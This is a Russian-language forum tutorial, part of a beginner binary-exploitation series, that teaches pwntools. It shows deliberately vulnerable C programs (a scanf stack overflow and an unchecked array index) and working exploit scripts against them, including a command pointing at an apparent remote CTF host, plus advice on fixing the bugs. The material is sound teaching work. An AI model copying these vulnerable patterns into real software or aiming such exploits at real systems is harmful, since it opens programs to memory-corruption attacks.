Статья Эксплуатация бинарных уязвимостей (PWN) для почти начинающих: pwntools и простое переполнение буфера (BOF) [0x02]

Доброго времени суток!

Сегодня мы продолжим эксплуатировать переполнение буфера. Но в этот раз не руками, а автоматизированно.

Первая часть: Статья - Эксплуатация бинарных уязвимостей (PWN) для почти начинающих: простое переполнение буфера [0x01]


prew.jpg


План статьи:
2.3. Python + pwntools
2.3.1. Python + pwntools на простой программе
2.3.1.1. Изучим программу
2.3.1.2. Вспомним некоторую информацию
2.3.1.3. Про pwntools
2.3.1.4. Изучим программу в IDA
2.3.1.5. Пишем первый (а может и нет) эксплойт
2.3.1.6. Итог
2.3.2. Python + pwntools и "страшные индексы"
2.3.3. Пишем эксплойт с приёмом данных
2.3.3.1. Итог

Начнём!

2.3. Python + pwntools

2.3.1. Python + pwntools на простой программе

2.3.1.1. Изучим программу

В прошлый раз мы сами вводили данные. Но что нам делать, например, при таком коде?

C:
#include <stdio.h>

void show_ascii_dump(char* arr) { // Показ ASCII-дампа
    int i;

    printf("|");
    for (i = 0; i < 16; i++) {
        if (arr[i] < 0x20 || arr[i] > 0x7E)
            printf(".");
        else
            printf("%c", arr[i]);
    }
    printf("|");

}

void hexdump(char* arr, int size) {
    int i;
    char *arr_in_ascii;
   
    printf("BASE ADDRESS\t\t\t      OFFSET                        ASCII OFFSET\n");
    printf("0xXXXXXXXXX... | 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F |0123456789ABCDEF|\n\n");
    printf("%p | %02hhx ", arr, arr[i]);

    for (i = 1; i < size; i++) {
        if( ( (i+1) % 16) == 0) {
            printf("%02hhx ", arr[i]);

            // Показываем ASCII-дамп
            arr_in_ascii = arr+i+1-16;
            show_ascii_dump(arr_in_ascii);
           
            printf("\n");

            if (i != size-1) {
                printf("%p | ", arr+i+1);
            }
        }
        else
            printf("%02hhx ", arr[i]);
    }



}


int main() {

    int dec_value = 12345;
    char str[20] = {0};
   
    printf("Enter some string: ");
    scanf("%s", str);

    printf("dec_value = %#x\n\n", dec_value);

    hexdump(str, 0x40);

    return 0;
}

Пример работы.




Что тут происходит?

Всё просто
: мы вводим некоторые данные, а программа показывает нам, какое значение сейчас в переменной dec_value. А также hexdump памяти размером в 0x40 байт. К hexdump'у вернёмся далее.

В этой программе мы бы хотели, например, сделать так, чтобы переменная dec_value была равна 0xEDB. Просто вводя какие-то символы мы не сможем сделать то, что нам нужно. Нужен другой подход.

Функции hexdump и show_ascii_dump смотреть необязательно. Они нужны нам только для изучения содержимого памяти и тренировки навыков pwn.


2.3.1.2. Вспомним некоторую информацию

Вспомним, что для хранения и работы с символами используются таблицы кодировки. В них каждому символу присвоен отдельное значение. Самая известная и используемая таблица кодировки - ASCII. Это кодировка, где 1 символ имеет размер в 1 байт. Это значит, что для одного символа каждое значение (код) занимает размер равный байту (char).

Проще говоря, строка "CODEBY" занимает 6 байт (без учёта символа конца строки). Если учитывать символ конца строки (0x0), то строка "CODEBY\x00" занимает 7 байт.

Символ конца строки 0x0 используется для обозначения конца строки в Си-строках.

1675954794522.png


Для того чтобы узнать код любого символа, нужно сложить нужный элемент первого столбика с нужным значением элемента из верхней строки.

Например, вычислим код символов 'A', и '~'.

1675954815918.png


0x40+0x1=0x41 (65). Это код символа 'A'.

1675954864699.png


0x70+0xE=0x7E (126). Это код символа '~'.

Если мы введём эти символы в программу, то увидим это.





А теперь вспомним, как пользоваться hexdump'ом.

1675954973523.png


Здесь всё, как и с таблицей ASCII выше. Слева (BASE ADDRESS) у нас базовый адрес, вверху смещение относительно него (OFFSET). В середине байты из памяти.

При сложении базового адреса и смещения можем найти адрес нужного байта в памяти и посмотреть его значение. Например, найдём байт по адресу 0x7ffde1843c5d.

1675955031321.png


Это 0x55 ('U'). То, что это именно символ 'U' можно проверить в ASCII OFFSET, который находится справа.

1675955056226.png


Знак точки ('.') - это обычно непечатный символ. Такие символы нельзя просто так ввести с клавиатуры, как обычный текст. Внизу на скриншоте видно, какие символы являются непечатными.

1675955090989.png


Так же вы могли заметить, что используется не всё возможное место в байт. Символы кодируются всего от 0 до 0x7F. Вместе это 0x80 (128) значений - нижняя половина байта. А остальное пространство не используется?
Используется
, но уже в расширенных ASCII кодировках старшая часть байта отводится под определённый национальный алфавит. А может быть и использовано больше байта.

Старшие байты и непечатные символы просто так нам не получится передать в программу выше. Но для этого есть способы!

2.3.1.3. Про pwntools


Передать данные процессу можно разными способами. Например, таким:




Тут видно, что мы даже передали непечатные символы с кодами 0x01, 0x02, 0x03 и 0x04. Но это всё неудобно автоматизировать. А часто это бывает нужно. В этом случае можно взять любой скриптовой язык, например, Python. Вот пример скрипта, который отправляет строку "CODEBY" в нашу программу.

C:
from subprocess import Popen, PIPE

import os

import sys


if __name__ == '__main__':


    payload = b"CODEBY"


    sub = Popen(["./scanf"],stdout=PIPE,stdin=PIPE).communicate(payload)

    print(sub[0].decode())

В нём можно менять строку и передаваемые данные будут разные.




По этой аналогии можно написать код для подсоединения к онлайн-таску. Но мы сделаем по-другому: используем pwntools.

Pwntools - это специальная библиотека под Python для создания эксплойтов. С неё нам будет удобно начать свои эксплойты. Конечно, другие способы в этом цикле тоже будут показаны, но это будет потом. К тому же pwntools часто можно встретить в разных прохождениях тасках из категории "pwn".

Официальная страница pwntools на GitHub: GitHub - Gallopsled/pwntools: CTF framework and exploit development library

Команды для установки pwntools:

Bash:
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

После установки у вас должна появится возможность использовать команду pwn в терминале. Через pwn version мы можем посмотреть версию библиотеки.


1676109629385.png


Если установить pwntools не получилось, можете попробовать скачать её через эти команды:

Bash:
apt-get update
apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
python2 -m pip install --upgrade pip==20.3.4
python2 -m pip install --upgrade pwntools

Через утилиту pwn можно делать много чего, но оставим это на потом.

Так же установим gdb и gdbserver через apt install gdb gdbserver.

Рассмотрим, как использовать pwntools на примере таска выше. Наберём команду pwn /template ./scanf в терминале.

1675957550702.png


Это шаблон кода для эксплойта. Перенаправим его в файл через pwn template ./scanf > exploit.py. Проверьте файл expoit.py. Там должен быть код. Хоть этот шаблон сложным, но это не так. Добавим русские комментарии :)

Python:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *

'''context - класс, который используется для указания информации о машине, изучаемом файле и
других данных, используемых в pwntools.
context.binary помогает определить, для какой архитектуры изучаемое приложение, разрядность и
порядок байт.
ELF() - функция, которая собирает информацию об ELF-файле.
'''


exe = context.binary = ELF('./scanf')

def start(argv=[], *a, **kw):

    '''Start the exploit against the target.'''
    if args.GDB: # Создаём процесс для gdb, если в аргментах есть GDB. Пока что не трогаем.
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else: # Создаём процесс с аргументами
        return process([exe.path] + argv, *a, **kw)

# Скрипт для gdb. Пока-что не трогаем.
gdbscript = '''
tbreak main
continue
'''.format(**locals())


# Некоторая информация о файле
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled

# Начинаем работу с процессом или сокетом. IO - Input/Output.

io = start()

# Пишем сюда наш пейлоад. Тут будет наша полезная нагрузка.
# Далее используем интерактивный режим.

io.interactive()


Если мы просто сейчас запустим этот скрипт, то перейдём в интерактивный режим ( io.interactive() ), так как у нас не написан пейлоад.




Как видно, в интерактивном режиме мы можем самостоятельно без написания эксплойтов вводить какие-то данные с клавиатуры. Это очень удобно!

2.3.1.4. Изучим программу в IDA

Но нам нужно написать эксплойт, поэтому кроме интерактивного режима нам нужно использовать другие возможности pwntools. Напомню, что мы бы хотели сделать так, чтобы переменная dec_value была равна 0xEDB.

В программе есть буфер на 20 байтов и возможность ввода неограниченного количества символов.

Функция scanf с аргументом %s даёт возможность ввода неограниченного количества байт пока не встретится символ-разделитель (пробел, табуляция или другие)! Это весомое отличие от gets(), поэтому при pwn и встрече с этой функцией старайтесь не использовать символы разделители.

Напомню исходный код.

Код:
int main() {

    int dec_value = 12345;
    char str[20] = {0};

   

    printf("Enter some string: ");
    scanf("%s", str);

    printf("dec_value = %#x\n\n", dec_value);
    hexdump(str, 0x40);

    return 0;

}

Зайдём в IDA и посмотрим на код main'а.

1675958641201.png


Сделаем более понятный вывод.

1675958656794.png


Про создание массива и переменных в IDA вы помните из первой статьи.

Хоть мы и выделили на стеке 20 байт под массив и 4 под переменную типа int (всего 24), но компилятор решил по-другому: он выделил 0x20 (32) байт.

1675958725328.png


Про пролог и эпилог функции вы помните :)

Таким образом, у нас оставшиеся 8 байт (0x20-24=8) где-то будут находиться. Посмотрим на это в IDA, перейдя сюда.




Тут видно, что мы переходим в окно с локальными переменными, которые обнаружила IDA. Если мы создадим там массив из 20 байтов (db), то у нас останется 8 лишних байт до dec_value. Компилятор просто добавил 8 байт к массиву str. А уже за ним расположил dec_value.

Буквы s и r мы пока что не трогаем. Они не часть наших переменных.

Компилятор старается выделять на стеке общее место под наши переменные числом, которое кратно 16. Поэтому вместо 24 байт (не кратно 16), он выделил 0x20 (32 - кратно 16). А оставшиеся 8 байт для создания 32 добавил к массиву.

Таким образом, чтобы "перетереть" переменные до dec_value, нам нужно передать 28 (0x20-4) байт. А чтобы поменять значение dec_value, нужно передать 0x20 байт, где последние 4 - нужное нам значение.

1676045373364.png

Грубо говоря, вводимые нами данные, будут заполнять массив вот в таком направлении. Если мы введём данные размером больше 20 байт (размер str), то наш ввод начнёт перетирать compile_space. А если введём данные размером больше 28 байт (20+8) то начнём перетирать dec_value. Это нам и нужно.
Но это возможно, если str будет выше dec_value. Если будет наоборот, то уже не получится. Можно будет просто перетереть s и r, но о них поговорим в одной из следующих статей.
Важно, чтобы вводимые символы не были символами разделителями. Проверим нашу теорию через pwntools. Так же изучим такие функции есть для ввода.


2.3.1.5. Пишем первый (а может и нет) эксплойт

Первым делом протестируем фрагмент кода с экспойтом ниже, а уже потом изучим его.

Python:
# Некоторая информация о файле
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      PIE enabled


# Начинаем работу с процессом или сокетом. IO - Input/Output.
io = start()

payload = b'A' * 28 # "Перетираем" массив str.
payload += p32(0xEDB) # Меняем значение dec_value на новое. Используем p32, так как dec_value типа int (32 бита).
io.sendline(payload) # Отправляем наш пейлоад, добавляя \n.

# Далее используем интерактивный режим.
io.interactive()

Проверим.




Видим, что мы перетёрли значение dec_value на 0xEDB. Ура!


Тут мы только отправляем данные. Принимать их нам пока что не нужно. Отправка происходит через sendline. Этот метод принимает в качестве аргумента байтовые строки. А потом она отправляет их и добавляет символ новой строки. Поэтому называется sendline.

В sendline мы передаём payload. Он состоит из 28 байтов 0x41 (b'A' * 28) и 0xEDB, который будет представлен в виде байт. Так сказать, "упакован".

Функции "упаковки" (p8(), p16(), p32(), p64()) возвращают байтовые строки из введённого числа. Размер строки (в битах) зависит от цифры после буквы p. Например, p8 - упаковать число в 1-байтовую (8-битную) строку, а p16 - упаковать число в 2-байтовую (16-битную) строку. Поэтому мы смело писали payload += p32(0xEDB), так как в исходнике используется тип данных int (32 бит - 4 байта).

И таким образом, получилась байтовая строка размером 32 байта, которую мы отправили программе и перетёрли нужную переменную.

Работают функции упаковки просто. Например, мы передали 0xEDB в функцию p32(). Это всего 2 байта: 0x0E DB (написал через пробел для наглядности). А функция p32() вернёт байтовую строку из 4 байт. В виде алгоритма работа выглядит вот так:

Было: 0x0EDB
1
) Дополняем до 4 байт (32 бит), так как p32(): 0x00 00 0E DB (0x00000EDB).

2) Меняем порядок байт на Little-Endian, так как программа под x64:

Было: 0x00 00 0E DB (Big-Endian)


Стало: 0xDB 0E 00 00 (Little-Endian)
Это одни и те же числа, но просто с разным порядком байт.


Так же есть функции "распаковки": u8(), u16(), u32(), u64(). Они наоборот возвращают число из байтовой строки, которую мы передаём как аргумент. Количество бит в передаваемой байтовой строке зависит от цифры перед буквой u.

Например, в функцию u32() передали байтовую строку b'ABCD'. И в результате получили 0x44434241.

1676047630849.png


Алгоритм перевода простой:

Было: b'ABCD'

1) Переворачиваем строку: b'0xDCBA'.
2) Переводим байтовые символы в число: b'D' - 0x44, b'C' - 0x43, b'B' - 0x42, b'A' - 0x41.

Стало: 0x44434241.

Функции упаковки нам пока что не нужны, но знать о них желательно.


2.3.1.6. Итог

Функции gets() и scanf("%s", str) очень уязвимы, поэтому их лучше вообще не использовать. А если использовать, то ограничивать ввод. Например, можно ограничить ввод в программе выше максимум только 19 символами через scanf("%19s", str). Именно 19, так как потом добавляется символ конца строки (0x0) и всего получается 20 байт (19+1). Больше 19 байт в этом случае не получится пользователю передать в программу.

Но всё же лучше не использовать такие функции, а другие. Например, fgets().

C:
int fgets (char *str, int n, FILE *stream);

Вы обязаны ей передать количество читаемых символов через n. И можно передать число 20, если бы мы написали в примере выше. В этом случае прочитается только 19 байт, а оставшийся байт будет 0x0 и добавится в конец вводимой строки. И таким образом займётся все 20 байт.


2.3.2. Python + pwntools и "страшные индексы"

С функциями всё понятно: не нужно использовать те, где мы не можем контролировать количество вводимых символов. Но можно написать ещё программу так, что даже с "хорошими" функциями и "хорошими" аргументами есть возможность эксплуатации уязвимости.

Рассмотрим такой пример ниже, а уже потом изучим.

C:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>


int room_price[] = {
    50, //0
    100,//1
    150,//2
    250,//3
    500 //4
};


int human_in_room[] = {
    5,
    10,
    12,
    15,
    20
};


char arr[256] = {13};
unsigned int balance = 0;
unsigned int need_balance = 0xFFFFFFFF;

int main() {

    int i;
    char choice_room_str[4] = {0};
    char choice_room;


    while(1) {
        printf("\tSALES MENU\n\n");

        for (i = 0; i < 5; i++) {
            printf("Room %d\n", i);
            printf("Room price: %d\n", room_price[i]);
            printf("Maximum number of people in a room: %d\n\n", human_in_room[i]);
        }


        printf("Exit: 5\n\n");
        printf("Choose a room (0-4) or exit (5): ");
        fgets(choice_room_str, 4, stdin);

        choice_room = atoi(choice_room_str);

        if (choice_room == 5)
            exit(0);
        else {
            printf("\nYour room: %hhu\n", choice_room);
            printf("You will pay: %u$\n", room_price[choice_room]);
            fflush(stdout);
            sleep(5);
            balance += room_price[choice_room];
        }


        printf("[INFO_FOR_US] Our balance: %u$\n\n", balance);
        sleep(1);

        if (balance == need_balance) {
            printf("[INFO_FOR_US] Hurray! We are rich!\n");
            printf("[INFO_FOR_US] We have %u$\n", balance);
            sleep(1);
            exit(0);
        }

    }

    return 0;
}

Компилировать через gcc array.c -o array. Да именно так, без защиты.

Пример работы программы можно увидеть ниже.




Это просто программа для бронирования каких-то комнат. Тот, кто её запускает, видит прибыль. А цель данной программы - получить 0xFFFFFFFF долларов.

Если мы попробуем честно получить такое количество долларов, то на это уйдёт не одна неделя :)

Следовательно, это не наш выход. Тут нужно использовать навыки PWN.

Если попытаться переполнить ввод привычным для нас способом, то ничего не получится.




И это нормально, что не получится, так как функция fgets(choice_room_str, 4, stdin); читает ровно 3 символа (4ый отводится под 0x0). А далее введённая строка с числом преобразуется в число через atoi. Если мы введём не число, то получим 0. Это видно на видео.

Тут нельзя переполнить буфер. Но можно "дотянуться" до некоторых байт в памяти и прочитать их. В видео можно заметить это.




Эта программа в IDA будет выглядеть так.

1676048389304.png


Нас интересует момент, где мы вводим номер комнаты и работаем с ним.

1676048397534.png


Тут вводим номер.

1676048406785.png


А тут его обрабатываем.

1676048418642.png


В красном блоке кода программа получает цену комнаты на основе введённых данных. В зелёном блоке кода программа добавляет эту цену к переменной balance. А в синем блоке кода происходит сравнение нужного баланса и текущего.

Посмотрим, что произойдёт при отладке в красном и зелёном блоке кода и вводе, например, цифры 3 и 8.

Вводим цифру 3.




Как мы помним из прошлой статьи, тут работает формула ниже.

Z = x+n×k

Где:
Z — это адрес нужного нам элемента.
x — это адрес элемента с индексом 0.
n — это индекс нужного нам элемента.
k — это размер типа данных одного элемента массива.

Это отчётливо видно на видео: 0x564DE2583020+3*4=0x564DE2583020+12=0x564DE258302C

По адресу 0x564DE258302C будет 0x0FA (250). Число 250 видно на видео.

Это мы передали 3 как индекс. Данное число находится в допустимых (0-4) А что будет, если передать 8 увидим ниже.




В этом случае всё так же как и в прошлый раз. Но мы уже выходим за границы допустимого ввода (0-4). И самое интересное, что при вводе цифры 8 программа снова вычисляет смещение по формуле выше: 0x564DE2583020+8*4=0x564DE2583020+32=0x564DE2583040.

По адресу 0x564DE2583040 находится первый элемент (5) массива human_in_room. Программа забирает это число и выводит его. А так же добавляет к переменной balance.



Из всего выше мы поняли, что можем обратиться к элементам до или после массива room_price. Это достигается благодаря тому, что введённые нами цифры-индексы не проверяются на корректность (то, что они находятся в диапазоне от 0 до 5). Из-за этого мы можем обращаться к другим элементам в памяти.

В блоке кода ниже можно увидеть, что создатель программы просто проверяет то, что переменная равна 5. Он не учёл то, что мы можем вводить числа больше 5. И поэтому подумал, что не добавлять проверку будет нормально.

C:
        if (choice_room == 5)
            exit(0);
        else {
            printf("\nYour room: %hhu\n", choice_room);
            printf("You will pay: %u$\n", room_price[choice_room]);
            fflush(stdout);
            sleep(5);
            balance += room_price[choice_room];
        }


Данный код, как вариант, можно заменить на код ниже.


C:
        if (choice_room >= 5)
            exit(0);
        else if (choice_room < 5 && choice_room >= 0){
            printf("\nYour room: %hhu\n", choice_room);
            printf("You will pay: %u$\n", room_price[choice_room]);
            fflush(stdout);
            sleep(5);
            balance += room_price[choice_room];
        }

Но есть вопрос: а на сколько далеко мы можем обратиться? Для этого рассмотрим такие строчки:

C:
char choice_room;
fgets(choice_room_str, 4, stdin);
choice_room = atoi(choice_room_str);

Тут происходит чтение 3 символов в choice_room_str, а потом строка из choice_room_str переводится в число благодаря функции atoi. Конечное число присваивается в переменную choice_room равную char. Так как переменная типа char, то максимальное значение может быть 127.

Следовательно, мы можем обратиться не далее 508 байт (127*4) памяти после начала room_price.

Но так как программист, написавший этот код, сделал char, а не unsigned char, то мы можем вводить и отрицательные числа. В этом случае программа будет использовать данные до начала room_price. И опять же максимум на 508 (127*4) до начала room_price.

Вспомните предыдущую статью. Мы там говорили про отрицательные индексы. Тут тоже самое. Пример работы можно посмотреть ниже. Там мы вводим -34. И программа обрабатывает это!




Хорошо, мы можем брать данные за пределами массива room_price. Но как это поможет нам сделать переменную balance равной нужному значению?

На самом деле всё просто: мы введём такое значение, чтобы программа взяла данные из сравниваемой переменной и добавила в balance. Потом при сравнении мы получим сообщение об успехе.

Звучит сложно, но на самом деле всё просто. Сейчас ниже покажу.

1676050436622.png


Нам нужно ввести такое значение, чтобы программа взяла данные из need_balance (0x4160). Напомню, что базовый адрес, относительно которого указывается смещение, — это room_price (0x4020).

Для вычисления смещения между ними можно просто вычесть из нужного адреса адрес начала: 0x4160-0x4020=0x140 (320). Это смещение в байтах.

Но вспомним, что в массиве room_price находятся данные типа int (4 байта). И при вычислении индекс нужного элемента умножается на 4. Таким образом, находится смещение в байтах. Далее оно прибавляется к базовому адресу.

В нашем случае нам наоборот нужно поделить смещение в байтах (320) на 4, чтобы найти индекс нужного элемента: 320/4=80. Попробуем ввести его в программу.




Тут видно, что мы получили 4294967295$ (0xFFFFFFFF). Ура! Посмотрим, как это всё будет выглядеть в IDA.



Видим, что программа берёт данные из need_balance, потом прибавляет их в balance и сравнивает balance с need_balance. И мы проходим проверку! И это даже без флага отключения защиты на стеке!

Программа запывнена! Но теперь сделаем это через pwntools.


2.3.3. Пишем эксплойт с приёмом данных

В этот раз мы примем данные и попробуем распечатать (для нас) значение в balance.

Для приёма данных есть методы группы recv. Для отправки - методы send, а для приёма - методы recv. В pwntools их довольно много, но чаще всего используются несколько. Остальные в определённых случаях.

Например, в send самые используемые - send(), sendline().
В recv самые используемые - recv(), recvuntil(), recvline().

Рассмотрим, какие аргументы передавать в методы:

Python:
recv() - recv(numb = 4096, timeout = default) // Принимает до numb байт данных. Если запроса не было до истечения timeout, то возвращается пустая строка.
recvuntil() - recvuntil(delims, drop=False, timeout=default) // Принимает данные пока не будет встречен один из разделителей (delims). Если drop - True, то не добавлять delims в принятые данные.
recvline() - recvline(keepends=True, timeout=default) // Принимает строку - последовательность байт с символом конца строки в конце (\n). Если keepends - это True, то сохранять символ новой строки в принятой строке.


send() - send(data) // Отправляет данные.
sendline() - sendline(data) // Отправляет данные и добавляет символ новой строки \n.


Можно просто написать код с recvuntil():

Python:
io = start()

io.recvuntil(b'Choose a room (0-4) or exit (5):')
io.sendline(b'80')

io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()

print(data)

io.interactive()


Это фрагмент кода.

Но он не будет почему-то принимать данные...

1676050732584.png


Давайте включим режим отладки и посмотрим. Для этого нужно добавить аргумент DEBUG.

1676050741033.png


Видим, что данные принимаются. Но последняя строчка почему-то нет.

Такое часто бывает локально при использовании recvuntil(), если строка к моменту приёма данных не имеет символа \n. Но если, например, сделать это удалённо, то всё будет хорошо.

Вот код таска для удалённого примера:

C:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>


int room_price[] = {
    50, //0
    100,//1
    150,//2
    250,//3
    500 //4
};


int human_in_room[] = {
    5,
    10,
    12,
    15,
    20
};


char arr[256] = {13};
unsigned int balance = 0;
unsigned int need_balance = 0xFFFFFFFF;


int main() {

    int i;
    char choice_room_str[4] = {0};
    char choice_room;


    while(1) {
        printf("\tSALES MENU\n\n");
        for (i = 0; i < 5; i++) {
            printf("Room %d\n", i);
            printf("Room price: %d\n", room_price);
            printf("Maximum number of people in a room: %d\n\n", human_in_room);
        }


        printf("Exit: 5\n\n");

        printf("Choose a room (0-4) or exit (5): ");
        fflush(stdout);
        fgets(choice_room_str, 4, stdin);

        choice_room = atoi(choice_room_str);

        if (choice_room == 5)
            exit(0);
        else {
            printf("\nYour room: %hhu\n", choice_room);
            printf("You will pay: %u$\n", room_price[choice_room]);
            fflush(stdout);
            sleep(5);
            balance += room_price[choice_room];
        }


        printf("[INFO_FOR_US] Our balance: %u$\n\n", balance);
        sleep(1);
        fflush(stdout);


        if (balance == need_balance) {
            printf("[INFO_FOR_US] Hurray! We are rich!\n");
            printf("[INFO_FOR_US] We have %u$\n", balance);
            sleep(1);
            exit(0);
        }
    }
    return 0;
}

Можно установить tcpserver через apt install tcpserver и запустить его через tcpserver -v 0.0.0.0 1337 ./array.

1676050875996.png


Далее можно создать новый эксплойт и указать хост с портом через pwn template ./array --host 0.0.0.0 --port 1337 > exploit.py. И написать туда тот же эксплойт.

Вот фрагмент:

Python:
io = start()

io.recvuntil(b'Choose a room (0-4) or exit (5):')
io.sendline(b'80')

io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()

print(data)

io.interactive()

Запускаем.




Видим, что распечаталось b'4294967295$\n'. Это байтовая строка. Можем сделать её обычной через метод .decode(). Он переведёт байтовую строку (b'STRING') в обычную строку. И тогда наш фрагмент кода будет выглядеть так:

Python:
io = start()

io.recvuntil(b'Choose a room (0-4) or exit (5):')
io.sendline(b'80')


io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()
data = data.decode()

print(data)

io.interactive()

Тестируем.




Теперь всё печатается хорошо!

Если же нужно запустить всё это локально, то тогда лучше принять данные выше нужной строки (нужная - 'Choose a room (0-4) or exit (5):'). Выше нужно - это 'Exit: 5'. А дальше просто через, например, recvline() принять остальную часть.

Или высчитать просто использовать recv().

Пример дан ниже.

Python:
io = start()

io.recvuntil(b'Exit: 5')
io.recvline()
io.recvline()
io.sendline(b'80')


io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()
data = data.decode()

print(data)

io.interactive()


Заново создавать эксплойт не нужно. Оставьте тот, где мы указывали хост и порт. Но заменит фрагмент на нужный. Далее можно просто через аргумент LOCAL указать, что мы хотим запустить файл, а не подключиться к хосту. Без этого аргумента мы будем подключаться к удалённому хосту.

Пример можно увидеть ниже.




Видим, что с использованием LOCAL мы запускаем эксплойт локально. А если убрать этот аргумент, то удалённо. При использовании аргумента DEBUG можно рассмотреть это более подробно.

Так же необязательно заново создавать файл, если хост и порт поменялись. Их можно указывать через аргументы командной строки. Например, вот так:

Bash:
python3 exploit.py HOST=62.173.140.174 PORT=17000

Ещё можно, например, создавать переменные с байтовыми строками и отправлять, принимать нужную строку через функции. Например, тут мы создали байтовую строку some_data и потом отправили:

Python:
io = start()

some_data = b'A' * 50
some_data += p64(0xCDB)

io.recvuntil(b'Exit: 5')
io.recvline()
io.recvline()
io.sendline(some_data)

io.recvuntil(b'[INFO_FOR_US] We have ')
data = io.recvline()
data = data.decode()

print(data)

io.interactive()


2.3.3.1. Итог

В итоге мы поняли и протестировали, что не следует давать возможность ввода индекса массива пользователю и использовать его индекса для взятия элемента. Это может привести к ошибкам.

Но если это важно в вашей программе, то нужно фильтровать ввод. Например, через условия.

В следующей статье мы научимся использовать отладчик GDB и через него проверять наши эксплойты. Также рассмотрим, что можно сделать более серьёзного при наличии возможности переполнения буфера.

Будет интересно!

Пока что изучите материал из этой статьи. Далее через неделю будут выложены первые 2 задания к уроку. А ещё через неделю ещё 3.


Большое спасибо @Dzen и @DragonSov за помощь во время создания статьи!! (y)
Спасибо за внимание! :)
 
Последнее редактирование:

soulriver34

Green Team
30.01.2023
25
6
BIT
20
Капец очень информативно а главно на сколько это наглядно сделано, я пока не особо разбираюсь во всем но чую с такими статьями научусь многому :)
 
  • Нравится
Реакции: ROP

INPC

Grey Team
21.08.2019
77
162
BIT
294
Очень полезная и интересная статья, спасибо.
P.S. Почему-то, в статье не отображаются видео-вставки, а хотелось бы
 
  • Нравится
Реакции: ROP

Dzen

Codeby Games
Gold Team
16.04.2021
370
476
BIT
294
Почему-то, в статье не отображаются видео-вставки, а хотелось бы
Приветствую! Через телефон смотрите? Если да, то укажите пожалуйста модель и версию системы/смотрите через приложение или браузер
 
Последнее редактирование:

INPC

Grey Team
21.08.2019
77
162
BIT
294
Приветствую! Через телефон смотрите? Если да, то укажите пожалуйста модель и версию системы/смотрите через приложение или браузер
Смотрю через пк, браузер опера v95.0.4635.37. В других браузерах все работает.
 
  • Нравится
Реакции: ROP и Dzen
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!